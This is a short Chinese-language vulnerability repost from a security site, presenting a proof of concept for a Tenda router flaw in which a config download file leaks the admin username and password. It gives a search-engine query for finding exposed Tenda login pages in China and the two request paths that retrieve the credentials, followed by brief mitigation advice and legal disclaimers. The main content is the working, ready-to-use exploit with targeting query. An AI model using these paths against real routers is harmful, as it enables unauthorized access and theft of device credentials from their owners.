（腾达）Tenda路由器密码信息泄露漏洞PoC

2024年10月6日23:33:13评论59 views字数 360阅读1分12秒阅读模式

漏洞描述

（腾达）Tenda路由器 DownloadCfg.jpg文件存在信息泄露漏洞，攻击者可获得路由器后台账号密码

title="Tenda | LOGIN" && country="CN"

/cgi-bin/DownloadCfg.jpg
/cgi-bin/DownloadCfg/RouterCfm.jpg

为了确保系统安全，建议你采取以下措施：首先，除非特别需要，尽量不要让系统连上互联网，以减少被黑客攻击的风险。其次，通过防火墙等安全设备设定访问规则，只允许经过批准的设备访问系统，这样可以有效控制谁能进入系统。最后，务必将产品更新到最新版本，以及时修复已知的安全漏洞，保持系统的安全性。

原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】（腾达）Tenda路由器密码信息泄露漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

本文由 admin 发表于 2024年10月6日23:33:13
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
（腾达）Tenda路由器密码信息泄露漏洞PoChttps://cn-sec.com/archives/3222737.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.